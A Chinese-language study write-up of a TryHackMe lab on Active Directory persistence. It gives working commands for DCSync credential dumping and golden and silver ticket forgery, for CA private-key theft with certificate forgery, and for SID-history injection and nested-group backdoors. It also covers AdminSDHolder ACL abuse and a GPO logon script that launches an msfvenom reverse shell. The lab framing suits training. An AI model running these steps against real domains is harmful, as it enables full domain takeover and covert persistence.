TryHackMe-进攻性渗透测试-15_活动目录持久化Persisting Active Directory

Persisting Active Directory

终于也要接近尾声了，学了好几天的ad，每天花十几个小时进去，这段学习过程还算是有点难度的

AD 持久性

在对 AD 的攻击期间，我们需要确保部署持久性。这将确保蓝队不能通过简单地轮换一些凭据来将我们踢出去。如前所述，破坏AD的过程是循环的。我们将在妥协 AD 资产时部署持久性，而不仅仅是在最后。这确保了如果我们的一个位置被蓝队烧毁，我们有几个后备。在这个持久性阶段，我们将使用几种技术来确保我们获得的访问权限不会被简单地撤销。这些持久性技术取决于我们迄今为止获得的特定权限和特权。

---

祝贺

恭喜疲惫的旅行者！在突破 AD、执行枚举并一直利用它到顶部（如果您按顺序完成了这些 AD 网络）之后，您终于进入了持久性的小酒馆。艰苦的工作已经结束，现在是时候找点乐子了。虽然AD持久性仍然是一件严肃的事情，但它实际上不像其他阶段那样紧张。在这里，我们可以让我们的创造力自由流动。所以在我们的小酒馆里休息一下你疲惫的骨头，给自己一杯好茶，让我们开始吧。

并非所有凭据都是平等的

在开始我们的 DC Sync 攻击之前，让我们首先讨论一下我们可能寻找哪些凭据。虽然我们应该始终寻求转储特权凭据，例如作为域管理员组成员的凭据，但这些凭据也是将首先轮换的凭据（蓝色团队术语，意思是重置帐户的密码）。因此，如果我们只有特权凭据，可以肯定地说，一旦蓝队发现我们，他们就会轮换这些帐户，我们可能会失去访问权限。

然后，目标是使用接近特权的凭据进行保留。我们并不总是需要通往国度的完整钥匙;我们只需要足够的钥匙来确保我们仍然能够实现目标执行，并始终让蓝队看着他们的肩膀。因此，我们应该尝试通过如下凭据来持久保存：

1.在多台计算机上具有本地管理员权限的凭据。通常，组织在几乎所有计算机上都有一两个具有本地管理员权限的组。这些组通常分为工作站组和服务器组。通过收集这些组成员的凭据，我们仍然可以访问庄园中的大多数计算机。
2.具有委派权限的服务帐户。有了这些帐户，我们将能够强制金票和银票执行 Kerberos 委托攻击。
3.用于特权 AD 服务的帐户。如果我们破坏特权服务（如 Exchange、Windows Server Update Services （WSUS） 或 System Center Configuration Manager （SCCM） ）的帐户，我们可以利用 AD 漏洞再次获得特权立足点。

当涉及到要转储和保留哪些凭据时，它受到许多因素的影响。你必须在你的想法上发挥创造力，并根据具体情况进行。但是，对于这个房间，我们将玩得开心，让蓝队汗流浃背，并倾倒我们能得到的每一个凭证！

DCSync 全部

我们将使用Mimikatz来收集凭据。使用 DA 帐户通过 SSH 连接到 THMWRK1 并加载 Mimikatz：

mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username>

mimikatz # log mingking_dcdump.txt
mimikatz # lsadump::dssync /domain:<domain> /all

---

如前面的任务中所述，我们通常希望通过具有委派权限的服务帐户来伪造银票和金票证。但这些究竟是什么，为什么每次蓝队桌面练习结束时都会有人大喊：“冲洗所有金票和银票！

黄金票证

黄金门票是伪造的。这意味着我们绕过上图的步骤 1 和 2，在那里我们向 DC 证明我们是谁。拥有特权帐户的有效 TGT，我们现在可以为我们想要的几乎任何服务请求 TGS。为了伪造黄金票证，我们需要 KRBTGT 帐户的密码哈希，以便我们可以为我们想要的任何用户帐户签署 TGT。关于黄金门票的一些有趣的注意事项：

通过在 Kerberos 过程的此阶段注入，我们不需要要模拟的帐户的密码哈希，因为我们绕过了该步骤。TGT 仅用于证明 DC 上的 KDC 对其进行了签名。由于它是由 KRBTGT 哈希签名的，因此此验证通过，并且无论其内容如何，TGT 都声明为有效。

说到内容，KDC 将仅在 TGT 中指定的用户帐户超过 20 分钟时对其进行验证。这意味着我们可以在 TGT 中放置一个已禁用、已删除或不存在的帐户，只要我们确保时间戳不超过 20 分钟，它就会有效。

由于工单的策略和规则是在 TGT 本身中设置的，因此我们可以覆盖 KDC 推送的值，例如，工单的有效期仅为 10 小时。例如，我们可以确保我们的TGT有效期为10年，从而给予我们持久性。

默认情况下，KRBTGT 帐户的密码永远不会更改，这意味着一旦我们拥有它，除非手动轮换，否则我们将通过生成 TGT 永久访问。

蓝队必须轮换 KRBTGT 帐户的密码两次，因为当前和以前的密码对该帐户有效。这是为了确保密码的意外轮换不会影响服务。

轮换 KRBTGT 帐户的密码对于蓝队来说是一个非常痛苦的过程，因为它会导致环境中的大量服务停止工作。他们认为他们有一个有效的TGT，有时在接下来的几个小时内，但TGT不再有效。并非所有服务都足够智能，可以释放 TGT 不再有效（因为时间戳仍然有效），因此不会自动请求新的 TGT。

黄金票证甚至允许您绕过智能卡身份验证，因为智能卡在创建 TGT 之前由 DC 验证。

我们可以在任何机器上生成黄金票证，即使是未加入域的机器（例如我们自己的攻击机器），使蓝队更难检测到。

除了 KRBTGT 帐户的密码哈希之外，我们只需要要模拟的人员的域名、域 SID 和用户 ID。如果我们处于可以恢复 KRBTGT 帐户的密码哈希的位置，那么我们已经可以恢复其他所需信息的位置。

银票

银票是伪造的TGS门票。所以现在，我们跳过了与 DC 上的 KDC 进行的所有通信（上图中的步骤 1-4），只与我们希望直接访问的服务进行接口。关于银票的一些有趣的注意事项：

生成的 TGS 由我们面向的主机的计算机帐户签名。

金票和银票之间的主要区别在于数量 我们获得的特权。如果我们有 KRBTGT 帐户的密码哈希，我们 可以访问所有内容。有了银票，因为我们只有 访问我们服务器的机器帐户的密码哈希 攻击，我们只能在该主机上冒充用户。银票的范围仅限于特定服务器上针对的任何服务。

由于TGS是伪造的，因此没有相关的TGT，这意味着从未接触过DC。这使得攻击非常危险，因为唯一可用的日志将位于目标服务器上。因此，虽然范围更有限，但蓝队更难检测到。

由于权限是通过 SID 确定的，因此我们可以再次为银票创建不存在的用户，只要我们确保票证具有将用户置于主机的本地管理员组中的相关 SID。

计算机帐户的密码通常每 30 天轮换一次，这对持久性不利。但是，我们可以利用 TGS 提供的访问权限来访问主机的注册表，并更改负责计算机帐户密码轮换的参数。从而确保计算机帐户保持静态并授予我们在计算机上的持久性。

虽然只能访问单个主机似乎是一个重大降级，但计算机帐户可以用作普通 AD 帐户，这样您不仅可以对主机进行管理访问，还可以像使用 AD 用户帐户一样继续枚举和利用 AD。

伪造门票以获得乐趣和利润

现在我们已经解释了黄金和白银票的基础知识，让我们生成一些。你将需要 KRBTGT 帐户的 NTLM 哈希，由于在上一个任务中执行了 DC 同步，你现在应该拥有该哈希。此外，记下与 THMSERVER1 计算机帐户关联的 NTLM 哈希，因为我们的银票需要这个哈希。您可以在执行的 DC 转储中找到此信息。我们需要的最后一条信息是域 SID。使用 THMWRK1 上的低特权 SSH 终端，我们可以使用 AD-RSAT cmdlet 来恢复此信息：

PS C:UsersAdministrator.ZA> Get-ADDomain

加载Mimikatz后，执行以下操作以生成黄金票证：

mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt

参数说明：

/admin - 我们要模拟的用户名。这不必是有效的用户。
/domain - 我们要为其生成票证的域的 FQDN。
/id - 用户 RID。默认情况下，Mimikatz 使用 RID 500，这是默认的管理员帐户 RID。
/sid - 我们要为其生成票证的域的 SID。
/krbtgt - KRBTGT 帐户的 NTLM 哈希。
/endin - 票证生存期。默认情况下，Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 10 小时（600 分钟）
/renewmax - 续订的最长票证生存期。默认情况下，Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 7 天（10080 分钟）
/ptt - 此标志告诉 Mimikatz 将票证直接注入会话，这意味着它已准备好使用。

我们可以通过对域控制器运行 dir 命令来验证黄金票证是否正常工作：

zaaaron.jones@THMWRK1 C:UsersAdministrator.ZA>dir \thmdc.za.tryhackme.locc$

即使黄金票的时间非常长，蓝队仍然可以通过简单地轮换两次 KRBTGT 密码来防御这一点。如果我们真的想挖掘我们的根源，我们希望生成银票，这些银票不太可能被发现，并且由于每个机器帐户的密码必须轮换，因此更难防御。我们可以使用以下 Mimikatz 命令来生成一张银票：

mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt

参数说明：

/admin - 我们要模拟的用户名。这不必是有效的用户。
/domain - 我们要为其生成票证的域的 FQDN。
/id - 用户 RID。默认情况下，Mimikatz 使用 RID 500，这是默认的管理员帐户 RID。
/sid - 我们要为其生成票证的域的 SID。
/target - 目标服务器的主机名。让我们做THMSERVER1.za.tryhackme.loc，但它可以是任何加入域的主机。
/rc4 - 目标的计算机帐户的 NTLM 哈希。查看 DC 同步结果，查找 THMSERVER1$ 的 NTLM 哈希。$ 表示它是一个计算机帐户。
/service - 我们在 TGS 中请求的服务。CIFS是一个安全的选择，因为它允许文件访问。
/ptt - 此标志告诉 Mimikatz 将票证直接注入会话，这意味着它已准备好使用。

我们可以通过对 THMSERVER1 运行 dir 命令来验证银票是否正常工作：

zaaaron.jones@THMWRK1 C:UsersAdministrator.ZA>dir \thmserver1.za.tryhackme.locc$

现在，我们有 AD 环境的金票和银票，提供比凭据更好的持久性！

---

这里有一个快速说明。从这里讨论的技术 向前点具有令人难以置信的侵入性，难以移除。即使你 签收您的红队练习以执行这些技术，您 执行这些技术时必须格外小心。在现实世界的场景中，利用大多数这些技术将导致一个完整的领域。 重建。确保您完全了解使用这些的后果 技术，并且仅在您事先获得批准的情况下执行它们 评估，并认为有必要。在大多数情况下，红队 此时，锻炼将被解绑，而不是使用这些 技术。这意味着您很可能不会执行这些持久性技术，而是模拟它们。

最后两种持久性技术依赖于 凭据。虽然我们绝对可以让蓝队的生活变得复杂，但他们最终可以轮换足够的资历来踢我们。所以 虽然这些技术非常适合让蓝队忙碌，而我们 让他们忙碌，我们应该考虑使用持久性技术 凭据不可知论者，这意味着这些的轮换不会把我们踢出去。 我们将要研究的第一个是证书。

AD CS的回归

在利用 AD 房间中，我们利用证书成为域管理员。然而 证书也可用于持久性。我们所需要的只是一个有效的 可用于客户端身份验证的证书。这将允许 我们使用证书来请求 TGT。这其中的美妙之处？我们可以 继续请求 TGT，无论它们在 我们正在攻击的帐户。我们被踢出局的唯一方法是如果他们撤销 我们生成的证书或是否已过期。这意味着我们可能有 默认情况下，大约在未来 5 年内持续访问。

我们可以更进一步。我们可以简单地窃取根 CA 证书的私钥来生成 只要我们愿意，我们就会拥有自己的证书。更糟糕的是，由于这些 CA从未颁发过证书，蓝队没有能力 以撤销它们。这对蓝队来说会更糟，因为它 将意味着 CA 的轮换，这意味着所有颁发的证书都将 必须被蓝队撤销才能把我们踢出去。

提取私钥

私钥 的 CA 存储在 CA 服务器本身上。如果私钥不是 通过基于硬件的保护方法进行保护，例如硬件安全模块 （HSM），该 对于仅使用 Active Directory 证书服务 （AD CS） 的组织来说，情况通常如此 内部用途，它受机器数据保护 API （DPAPI） 的保护。这意味着我们 可以使用Mimikatz和SharpDPAPI等工具来提取CA Mimikatz是最简单的工具，但如果你想体验其他工具，请看这里。使用 SSH 使用任务 2 中的管理员凭据向 THMDC.za.tryhackme.loc 进行身份验证，为用户创建一个唯一的目录，移动到该目录，然后加载 Mimikatz：

我们先来看看是否可以查看存储在 DC 上的证书：

mimikatz # crypto::certificates /systemstore:local_machine

我们可以看到 DC 上有一个 CA 证书。我们还可以注意到，其中一些证书设置为不允许我们导出密钥。如果没有此私钥，我们将无法生成新证书。幸运的是，Mimikatz 允许我们修补内存以使这些键可导出：

mimikatz # privilege::debug
mimikatz # crypto::capi
mimikatz # crypto::cng

修补这些服务后，我们可以使用 Mimikatz 导出证书：

mimikatz # crypto::certificates /systemstore:local_machine /export

导出的证书将以 PFX 和 DER 格式存储到磁盘

为了导出私钥，必须使用密码来加密证书。默认情况下，Mimikatz 分配的密码为:mimikatz 。使用 SCP 将此证书下载或复制到您的 AttackBox，然后将其复制到 THMWRK1 上的低特权用户主目录。如果您愿意，还可以在自己的未加入域的 Windows 计算机上执行其余步骤。

生成我们自己的证书

现在我们有了私钥和根CA证书，我们可以使用SpectorOps ForgeCert工具为我们想要的任何用户伪造客户端身份验证证书。ForgeCert和Rubeus二进制文件存储在THMWRK1上的C：Tools目录中。让我们使用 ForgeCert 生成一个新证书：

ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 

参数说明：

CaCertPath - 导出的 CA 证书的路径。
CaCertPassword - 用于加密证书的密码。默认情况下，Mimikatz 分配的密码为 。mimikatz
使用者 - 证书的使用者或公用名。这在我们将使用证书的上下文中并不重要。
主题AltName - 这是我们要使用此证书模拟的帐户的用户主体名称 （UPN）。它必须是合法用户。
NewCertPath - ForgeCert 将存储生成的证书的路径。
NewCertPassword - 由于证书需要导出私钥进行身份验证，因此我们必须设置用于加密它的新密码。

我们可以使用 Rubeus 使用证书请求 TGT，以验证证书是否受信任。我们将使用以下命令：

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>

让我们分解参数：

/user - 这指定我们将模拟的用户，并且必须与我们生成的证书的 UPN 匹配
/enctype - 指定票证的加密类型。将此设置为 对于逃避很重要，因为默认加密算法很弱， 这将导致哈希超交桥警报
/certificate - 我们生成的证书的路径
/password - 证书文件的密码
/outfile - 我们的 TGT 将输出到的文件
/domain - 我们当前攻击的域的 FQDN
/dc - 我们从中请求 TGT 的域控制器的 IP。 通常，最好选择运行 CA 服务的 DC

现在我们可以使用Mimikatz加载TGT并向THMDC进行身份验证：

mimikatz # kerberos::ptt <tgt>

我们不再是蓝队的朋友

证书持久性显然更难防御。即使您轮换了被盗帐户的凭据，证书仍将有效。删除持久性的唯一方法是吊销证书。但是，这只有在我们通过合法渠道生成证书时才有可能。由于我们导出了 CA 并自己生成了证书，因此它不会出现在 AD CS 颁发的证书列表中，这意味着蓝队将无法吊销我们的证书。

那么消除持久性的唯一解决方案是什么？好吧，这就是为什么我们不再是朋友。他们将不得不吊销根 CA 证书。但是吊销此证书意味着 AD CS 颁发的所有证书将突然无效。这意味着他们必须为每个使用 AD CS 的系统生成一个新证书。您应该开始了解为什么这种类型的持久性非常危险，并且如果执行，则需要完全重建系统。

---

前面已讨论过安全标识符 （SID）。但回顾一下，SID 用于在连接到资源时跟踪安全主体和帐户的访问权限。但是，帐户上有一个有趣的属性，称为 SID 历史记录。

SID 历史记录的合法用例是允许将帐户的访问权限有效地克隆到另一个帐户。当组织忙于执行 AD 迁移时，这非常有用，因为它允许用户在迁移到新域时保留对原始域的访问权限。在新域中，用户将拥有新的 SID，但我们可以在 SID 历史记录中添加用户的现有 SID，这仍允许他们使用其新帐户访问以前域中的资源。虽然 SID 历史记录适用于迁移，但作为攻击者，我们也可能滥用此功能来实现持久性。

历史可以是我们想要的任何东西

问题是，SID 历史记录不仅限于包括来自其他域的 SID。使用正确的权限，我们只需将当前域的 SID 添加到我们控制的帐户的 SID 历史记录中即可。关于这种持久性技术的一些有趣的说明：

我们通常需要域管理员权限或其等效权限才能执行此攻击。

当帐户创建登录事件时，与该帐户关联的 SID 将添加到用户的令牌中，然后确定与该帐户关联的特权。这包括组 SID。

如果我们注入企业管理员 SID，我们可以进一步进行此攻击，因为这会将帐户的权限提升为林中所有域中的域管理员。

由于 SID 已添加到用户的令牌中，因此即使帐户不是实际组的成员，也会尊重特权。使这是一种非常偷偷摸摸的坚持方法。我们拥有破坏整个域（也许是整个林）所需的所有权限，但我们的帐户可以只是一个普通用户帐户，其成员身份仅属于域用户组。通过始终使用此帐户更改另一个帐户的 SID 历史记录，我们可以将偷偷摸摸提升到另一个级别，因此初始持久性向量不那么容易发现和补救。

在伪造 SID 历史记录之前，让我们先获取有关 SID 的一些信息。首先，让我们确保低特权用户当前在其 SID 历史记录中没有任何信息：

Get-ADUser <your ad username> -properties sidhistory

这确认我们的用户当前未设置任何 SID 历史记录。让我们获取域管理员组的 SID，因为这是我们要添加到 SID 历史记录的组：

Get-ADGroup "Domain Admins"

我们可以使用类似Mimikatz的东西来添加SID历史记录。但是，最新版本的Mimikatz有一个缺陷，不允许它修补LSASS以更新SID历史记录。因此，我们需要使用其他东西。在这种情况下，我们将使用 DSInternals 工具直接修补 ntds.dit 文件，即存储所有信息的 AD 数据库：

Stop-Service -Name ntds -force

Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:WindowsNTDSntds.dit

Start-Service -Name ntds

NTDS 服务运行时，NTDS 数据库被锁定。为了修补我们的 SID 历史记录，我们必须首先停止该服务。修补后必须重新启动 NTDS 服务，否则，整个网络的身份验证将不再起作用。

蓝队的干草叉和火炬

如果要通过 RDP 连接到其中一个主机并使用“AD 用户和组”管理单元，则可以查看添加到用户的 SID 历史记录属性。但是，即使使用尽可能高的权限，也无法删除该属性，因为它是受保护的。若要删除此字段，必须使用 AD-RSAT PowerShell cmdlet 等工具来删除 SID 历史记录。

但是，在考虑删除恶意 SID 历史记录属性之前，首先需要找到它们。没有一个常规工具会告诉你有什么问题。该用户不会突然弹出为域管理员组的成员。因此，除非您主动过滤用户的属性，否则很难找到。这是因为 SID 历史记录仅在用户进行身份验证后应用和使用。

想象一下，您是处理刚刚执行域回收的事件的蓝队。您轮换了 krbtgt 帐户的密码两次，删除了金票和银票，并从头开始重建了整个 CA 服务器，只是为了看到攻击者仍在使用低特权帐户执行 DA 命令。这不会是一个好日子。

---

如果我们不想篡改 SID 历史记录，可以直接将自己添加到 AD 组中以实现持久性。虽然 SID 历史记录是一种很好的持久性技术，但凭据轮换和清理仍然可以删除持久性。在某些情况下，最好通过以 AD 组本身为目标来执行持久性。

通过组成员身份实现持久性

如任务 1 中所述，特权最高的帐户或组并不总是最适合用于持久性。特权组比其他组更密切地监视更改。任何归类为受保护组的组（如域管理员或企业管理员）都会受到额外的安全审查。因此，如果我们想通过组成员身份坚持下去，我们可能需要在将自己的帐户添加到的组上发挥创意，以实现持久性：

IT 支持组可用于获取权限，例如强制更改用户密码。尽管在大多数情况下，我们将无法重置特权用户的密码，但能够重置即使是低特权用户也可以让我们传播到工作站。

提供本地管理员权限的组通常不像受保护组那样受到密切监视。通过网络支持组的组成员身份对正确主机具有本地管理员权限，我们可能具有良好的持久性，可用于再次危害域。

它并不总是关于直接特权。有时，具有间接权限（如对组策略对象 （GPO） 的所有权）的组对于持久性同样有益。

嵌套组

在大多数组织中，有大量的递归组。递归组是作为另一个组成员的组。我们可以将其视为群体嵌套。组嵌套用于在 AD 中创建更有条理的结构。以 IT 支持组为例。IT 支持非常通用。因此，也许此组下有帮助台、访问卡管理器和网络管理员等子组。我们可以将所有这些组作为成员添加到 IT 支持组，从而为这些子组中的所有用户提供与 IT 支持组关联的权限和特权，但随后我们可以为每个子组分配更精细的权限和特权。

虽然组嵌套有助于组织 AD，但它确实降低了有效访问的可见性。再次以我们的 IT 支持为例。如果我们向 AD 查询 IT 支持组的成员身份，它将以 3 计数进行响应。但是，这个计数并不真实，因为它是三组。为了了解有效访问，我们现在还必须枚举这些子组。但这些子组也可以有子组。所以问题变成了：“我们应该枚举多少层才能获得真正的有效访问号码？

这也成为一个监控问题。例如，假设我们有一个警报，当将新成员添加到域管理员组时，该警报会触发。这是一个很好的警报，但如果将用户添加到域管理员组中的子组，则不会触发。这是一个非常常见的问题，因为 AD 由 AD 团队管理，警报和监视由 InfoSec 团队管理。我们所需要的只是一点点沟通不畅，并且警报不再有效，因为使用了子组。

作为攻击者，我们可以利用这种降低的可见性来执行持久性。我们没有针对为我们提供环境访问权限的特权群体，而是将注意力集中在子群体上。我们不会将自己添加到会引发警报的特权组中，而是将自己添加到未受监视的子组中。

嵌套我们的持久性

让我们模拟这种类型的持久性。为了允许其他用户也执行该技术，请确保在你创建的所有组前面加上您的用户名。为了模拟持久性，我们将创建一些自己的组。让我们首先创建一个新的基本组，我们将隐藏在人员>IT 组织单位 （OU） 中：

PS C:UsersAdministrator.ZA>New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security

现在，让我们在人员>销售 OU 中创建另一个组，并将我们以前的组添加为成员：

PS C:UsersAdministrator.ZA>New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security 
PS C:UsersAdministrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"

我们可以再这样做几次，每次将前一个组添加为成员

对于最后一个组，现在让我们将该组添加到域管理员组：

PS C:UsersAdministrator.ZA>Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"

最后，让我们将低特权 AD 用户添加到我们创建的第一个组中：

PS C:UsersAdministrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"

由于我们创建的这些的组是嵌套再其他组下的子组，因此我觉得如果蓝队试图直接删除我们创建的根组，那么我们嵌套组的所有组包括企业中正常的组，都会有所牵连，所以这里的关键就是将我们所有创建的组都分别嵌套在企业中正常的各个组中，这样就可以给蓝队增加一定的难度。

烦人的不仅仅是蓝队

如果这是一个真正的组织，我们就不会创建新的团体来嵌套。相反，我们将利用现有组来执行嵌套。然而，这是你在正常的红队评估中永远不会做的事情，而且几乎总是在这一点上脱链，因为它破坏了组织的AD结构，如果我们充分打破它，他们将无法恢复。在这一点上，即使蓝队能够把我们踢出去，该组织很可能仍然必须从头开始重建他们的整个AD结构，从而导致重大损失。

---

通过 AD 组模板持久化

而 我们可以将我们控制的帐户添加到每个特权组 我们可以找到，蓝队仍然能够执行清理和 删除我们的会员资格。为了保证更好的持久性和 让蓝队挠头，我们宁愿注入 生成默认组的模板。通过注入这些 模板，即使他们删除了我们的会员资格，我们只需要等待 直到模板刷新，我们将再次获得授权 会员。

一个这样的模板是 AdminSDHolder 容器。这 容器存在于每个 AD 域中，其访问控制列表 （ACL） 用作模板，将权限复制到所有受保护组。 受保护组包括特权组，例如域管理员、 管理员、企业管理员和架构管理员。如果你正在寻找 有关组的完整列表，您可以在此处找到它们。

一个 名为 SDProp 的进程获取 AdminSDHolder 容器的 ACL 和 每 60 分钟将其应用于所有受保护组。因此我们可以写 ACE，它将授予我们对所有受保护组的完全权限。如果 蓝队不知道正在使用这种类型的持久性， 这将是非常令人沮丧的。每次他们删除 对受保护对象或组的不当权限，它会在一小时内重新出现。由于这种重建是通过 正常的AD进程，它也不会显示任何蓝色警报 团队，这使得查明持久性的来源变得更加困难。

坚持使用 AdminSDHolder

通过 AD 组模板持久化

而 我们可以将我们控制的帐户添加到每个特权组 我们可以找到，蓝队仍然能够执行清理和 删除我们的会员资格。为了保证更好的持久性和 让蓝队挠头，我们宁愿注入 生成默认组的模板。通过注入这些 模板，即使他们删除了我们的会员资格，我们只需要等待 直到模板刷新，我们将再次获得授权 会员。

一个这样的模板是 AdminSDHolder 容器。这 容器存在于每个 AD 域中，其访问控制列表 （ACL） 用作模板，将权限复制到所有受保护组。 受保护组包括特权组，例如域管理员、 管理员、企业管理员和架构管理员。如果你正在寻找 有关组的完整列表，您可以在此处找到它们。

一个 名为 SDProp 的进程获取 AdminSDHolder 容器的 ACL 和 每 60 分钟将其应用于所有受保护组。因此我们可以写 ACE，它将授予我们对所有受保护组的完全权限。如果 蓝队不知道正在使用这种类型的持久性， 这将是非常令人沮丧的。每次他们删除 对受保护对象或组的不当权限，它会在一小时内重新出现。由于这种重建是通过 正常的AD进程，它也不会显示任何蓝色警报 团队，这使得查明持久性的来源变得更加困难。

为了将我们的持久性部署到 AdminSDHolder，我们将使用 Microsoft 管理控制台 （MMC）。为避免将用户踢出其 RDP 会话，最好使用低特权凭据将 RDP 定向到 THMWRK1，使用 runas 命令注入管理员凭据，然后从此新终端执行 MMC：

runas /netonly /user:zaAdministrator cmd

拥有 MMC 窗口后，添加“用户和组”管理单元（文件>添加管理单元>活动目录用户和组）。 确保启用高级功能（视图>高级功能）。我们可以在 Domain->System 下找到 AdminSDHolder 组：

导航到组的安全性（右键单击>属性->安全性）：

让我们添加低特权用户并授予完全控制权限：

单击添加。
搜索您的低权限用户名，然后单击检查名称。
单击“确定”。
单击“完全控制允许”。
单击应用。
单击“确定”。

它应该看起来像这样：

SDProp

现在我们只需要等待 60 分钟，我们的用户就可以完全控制所有受保护组。这是因为安全描述符传播器 （SDProp） 服务每 60 分钟自动执行一次，并将此更改传播到所有受保护组

请稍等片刻，然后查看受保护组（如域管理员组）的安全权限（可以使用搜索命令查找此组）：

可以看出，我们的低特权用户可以完全控制组。

蓝队正在走下坡路

想象一下，将其与上一个任务的嵌套组相结合。就像蓝队通过多次组更改撤销您的访问权限一样，60 分钟后，您可以再次执行此操作。除非蓝队了解权限是通过 AdminSDHolder 组更改的，否则他们每 60 分钟就会挠头。由于持久性通过合法的 AD 服务传播，因此每次发生持久性时，他们很可能都不会更明智。如果确实要保留，可以向 AdminSDHolder 组中的域用户组授予完全控制权限，这意味着任何低特权用户都将被授予对所有受保护组的完全控制权限。将其与完整的 DC 同步相结合意味着蓝队将不得不重置域中的每个凭据才能完全清除我们。

---

我们将回顾的最后一个持久性技术是通过组策略对象 （GPO） 的持久性。此时，您应该熟悉基于我们讨论过的所有不同枚举、攻击和利用技术的 GPO。但是，GPO 也非常适合部署持久性。

AD 中的组策略管理提供了一种中心机制来管理所有已加入域的计算机的本地策略配置。这包括配置，例如受限组的成员身份、防火墙和 AV 配置，以及启动时应执行的脚本。虽然这是一个很好的管理工具，但攻击者可能会针对它在整个资产中部署持久性。更糟糕的是，攻击者通常可以隐藏GPO，以至于几乎不可能将其删除。

域范围的持久性

以下是一些常见的 GPO 持久性技术：

1.受限组成员身份 - 这可能允许我们对域中的所有主机进行管理访问
2.登录脚本部署 - 这将确保每次用户向域中的主机进行身份验证时，我们都会收到 shell 回调。

可以部署许多不同的钩子。您可以使用 GPO 来了解其他钩子。由于我们已经在利用 AD 房间中使用了第一个钩子，即受限组成员身份。现在让我们专注于第二个钩子。虽然可以访问所有主机很好，但通过确保我们在管理员积极处理它们时可以访问它们，它可以更好。为此，我们将创建一个链接到管理员 OU 的 GPO，这将允许我们在每次其中一个主机向主机进行身份验证时在主机上获取 shell。

制备

在我们创建 GPO 之前。我们首先需要创建我们的 shell、侦听器和将执行 shell 的实际 bat 文件。让我们首先生成一个可以使用的基本可执行 shell：

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe

确保将您的用户名添加到二进制名称中，以避免覆盖其他用户的外壳。Windows允许我们通过登录GPO执行Batch或PowerShell脚本。批处理脚本通常比 PowerShell 脚本更稳定，因此让我们创建一个将可执行文件<username>_script.bat复制到主机并在用户进行身份验证后执行它。创建在 AttackBox 上调用的以下脚本：

copy \za.tryhackme.locsysvolza.tryhackme.locscripts<username>_shell.exe C:tmp<username>_shell.exe && timeout /t 20 && C:tmp<username>_shell.exe

您将看到该脚本执行了三个与 链接在一起的命令。该脚本会将二进制文件从 SYSVOL 目录复制到本地计算机，然后等待 20 秒，最后执行二进制文件。&&

我们可以使用 SCP 和我们的管理员凭据将两个脚本复制到 SYSVOL 目录：

$thm scp am0_shell.exe za\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

$thm scp am0_script.bat za\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

最后，让我们开始我们的 MSF 侦听器

现在我们的准备工作已经完成，我们终于可以创建将执行它的 GPO。您需要通过 RDP 连接到 THMWRK1，并使用以管理员身份运行的 runas 窗口执行后续步骤。

通用数据保护办公室创建

第一步使用我们的域管理员帐户打开组策略管理管理单元：

在运行生成的终端中，键入 MMC 并按回车键。
单击文件>添加/删除管理单元...
选择“组策略管理”管理单元，然后单击“添加”
单击“确定”
您应该能够看到 GPO 管理器：

虽然从技术上讲，我们可以将内容写入默认域策略，该策略应传播到所有 AD 对象，但我们将对任务采用更窄的方法，只是为了显示该过程。您可以稍后尝试将更改应用于整个域。

我们将编写一个将应用于所有管理员的 GPO，因此右键单击管理员 OU，然后选择“在此域中创建 GPO”，并将其链接到此处。为 GPO 指定一个名称，例如：username - persisting GPO

右键单击您的策略，然后选择“已强制”。这将确保您的策略将适用，即使存在冲突的策略。这有助于确保我们的 GPO 优先，即使蓝队编写了将删除我们更改的策略。现在，您可以右键单击策略并选择编辑：

让我们回到组策略管理编辑器：
在“用户配置”下，展开“策略->Windows 设置”。
选择脚本（登录/注销）。
右键单击登录属性>属性
选择“脚本”选项卡。
单击“添加>浏览”。
让我们导航到存储 Batch 和二进制文件的位置：

选择批处理文件作为脚本，然后单击“打开”和“确定”。单击应用和确定。现在，这将确保每次管理员之一（第 2、1 和 0 层）登录到任何计算机时，我们都会收到回调。

隐藏在众目睽睽之下

现在我们知道我们的坚持正在起作用，是时候确保蓝队不能简单地消除我们的坚持了。返回到 MMC 窗口，单击策略，然后单击“委派”：

默认情况下，所有管理员都可以编辑 GPO。让我们删除这些权限：

右键单击“企业域控制器”，然后选择“编辑设置、删除、修改安全性”。
单击所有其他组（经过身份验证的用户除外），然后单击删除。

您应该留下如下所示的委派：

单击高级并从权限中删除创建的所有者：

